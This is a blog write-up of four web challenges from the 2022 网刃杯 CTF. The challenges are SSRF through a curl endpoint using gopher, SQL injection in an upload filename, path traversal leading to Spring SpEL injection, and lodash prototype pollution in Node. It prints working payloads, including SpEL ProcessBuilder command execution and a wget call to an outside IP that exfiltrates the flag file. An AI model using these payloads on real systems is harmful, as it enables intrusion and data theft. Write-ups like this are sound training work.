网刃杯2022 wp

[网刃杯2022]signin

直接访问靶场是个curl的题目源码

<?php
    highlight_file(__FILE__);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_GET['url']);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
?>

一般这种情况考虑文件包含和ssrf

/flag无果后,考虑ssrf,首先必须对内网进行信息收集

尝试dict://协议扫描端口,无果,认为可能需要扫描其他靶机ip

读/etc/hosts

http://124.222.24.150:8091/?url=file:///etc/hosts

image-20220427094154293

可以看到内网ip是172.73.23.21

对它进行扫描,试图C段嗅探(就是对d段进行扫描)(46条消息) 信息收集之——旁站、C段_JieDG的博客-CSDN博客_旁站扫描

image-20220427095831067

扫描到同一内网的机器:172.73.23.100

由于既要get又要post,尝试使用gopher成功,后面又说有ip限制,试图gopher套娃失败后,尝试修改http header成功,后续又有浏览器限等也是修改http header,最终脚本如下

import urllib.parse
payload =\
"""
POST /index.php?a=1 HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For:127.0.0.1
referer:bolean.club
Content-Length: 3

b=1
"""  
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://172.73.23.100:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 因为是GET请求所以要进行两次url编码

学到了脚本,有些时候看到127.0.0.1不要马上以为是ssrf,有可能是xff头

image-20220424121844237

[网刃杯2022]upload

由于题目hint说是sql注入,于是上网搜索发现一道xctf的upload

几乎是xctf原题

原理:文件后缀名未经过滤,在insert into 时导致sql漏洞,

先上传有单引号的后缀名可以直接发现报错(单引号闭合)

试图updatexml

image-20220424132356387

flag from flag是猜的

------WebKitFormBoundaryH6UwBf190fTTMwSe
Content-Disposition: form-data; name="upfile"; filename="a.t' and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)  and 'xt"
Content-Type: ctf

[Content of 'D:\source\2022ctf\网刃杯\web\upload\a.t'xt']
------WebKitFormBoundaryH6UwBf190fTTMwSe--

image-20220424132332406

flag{5937a0b90b5966939cccd36929

用一个right即可

(select right(flag,30) from flag),0x7e),1)

7a0b90b5966939cccd369291c68aa}

flag{5937a0b90b5966939cccd369291c68aa}

[网刃杯2022]ezjava

还真没想到是ezjava,蚌埠

由于开局可以看到点击下载,抓包后发现是这样下载的

GET /download?filename=1.txt

所以得知filename可控,试图扫描目录穿越,扫描文件,获取源码无果(当时卡这了,使用包括但不限于../或者file://协议多种办法无果)

答案是:只有刚好3个../可以不回显invalide filename并且可以扫描文件

蚌埠住了

../../../web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>com.abc.servlet.DownloadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>TestServlet</servlet-name>
        <servlet-class>com.abc.servlet.TestServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>TestServlet</servlet-name>
        <url-pattern>/test388</url-pattern>
    </servlet-mapping>

</web-app>

有个test,获取之

看到是这个com.abc.servlet.TestServlet

推测路径:classes/com/abc/servlet/TestServlet.class

下载下来是个class文件,我推荐使用jdGUI进行反编译

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.abc.servlet;
import java.io.IOException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.expression.Expression;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
public class TestServlet extends HttpServlet {
    public TestServlet() {
    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            String name = request.getParameter("name");
            name = new String(name.getBytes("ISO8859-1"), "UTF-8");
            if (this.blackMatch(name)) {
                request.setAttribute("message", "name is invalid");
                request.getRequestDispatcher("/message.jsp").forward(request, response);
                return;
            }
            System.out.println(name);
            String message = this.getAdvanceValue(name);
            request.setAttribute("message", message);
            request.getRequestDispatcher("/message.jsp").forward(request, response);
        } catch (Exception var5) {
            request.setAttribute("message", "error");
            request.getRequestDispatcher("/message.jsp").forward(request, response);
        }
    }

    private boolean blackMatch(String val) {
        String[] var2 = this.getBlacklist();
        int var3 = var2.length;
        for(int var4 = 0; var4 < var3; ++var4) {
            String keyword = var2[var4];
            Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
            if (matcher.find()) {
                return true;
            }
        }
        return false;
    }

    private String getAdvanceValue(String val) {
        ParserContext parserContext = new TemplateParserContext();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(val, parserContext);
        StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
        return exp.getValue(evaluationContext).toString();
    }

    private String[] getBlacklist() {
        return new String[]{"java.+lang", "Runtime", "exec.*\\("};
    }
}

简单看了一下,就是post一个name过去,经过过滤以后放入parser.parseExpression

搜索得知玩转Spring中强大的spel表达式! - 知乎 (zhihu.com)

spel表达式,考虑表达式注入,简单学习一下以后尝试

name=#{3*3}

image-20220427103912746

有这个漏洞,找条Payload打就行

name=#{new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("bash","-c","{echo,bHMgL3xiYXNlNjQ=}|{base64,-d}|{bash,-i}").start().getInputStream(), "gbk")).readLine()}

image-20220427104933030

name=#{new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cat","/f1AgJvav").start().getInputStream(), "gbk")).readLine()}

image-20220427105313324

上面用的Miku师傅的payload,miku随便找找就出了,什么时候能像他一样优秀?

上面的绕过看到这篇SpEL注入RCE分析与绕过 - 先知社区 (aliyun.com)

不过还要套上这个才可以输出,或许可以试试反弹shell?

new java.io.BufferedReader(new java.io.InputStreamReader(payload.getInputStream(), "gbk")).readLine()

试图反弹shell无果

[网刃杯2022]eznode

题目给了docker,修改一下黑名单那里可以搭建docker环境

之前代码审计看到loadash.merge和ejs,以为是Xnuca那个,在本地多次尝试payload无果后遂放弃,仔细看发现其实没有ejs依赖

原理如下:

从 Lodash 原型链污染到模板 RCE - 安全客,安全资讯平台 (anquanke.com)

参考wp:第二届网刃杯网络安全大赛WP (qq.com)

赛后发现是这篇文章的下半部分,刚好就看到那没看了,以后要提升效率!

简单复现

本来用的这个不行

{'character': ['乃琳'], 'ctf': [{{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process')['ex'+'ec']('wge'+'t$IFS$9http://8.129.42.140:3307/\u0060ta\\c$IFS$9/.[f]lag\u0060')//"}}}]}

应该用这个

{'character': ['乃琳'], 'ctf': [{{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process')['ex'+'ec']('wge'+'t$IFS$9http://8.129.42.140:3307/\u0060ta\\c$IFS$9/.[f]lag\u0060')//"}}}]}

image-20220427121741434

等哪天有空再来看原理

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇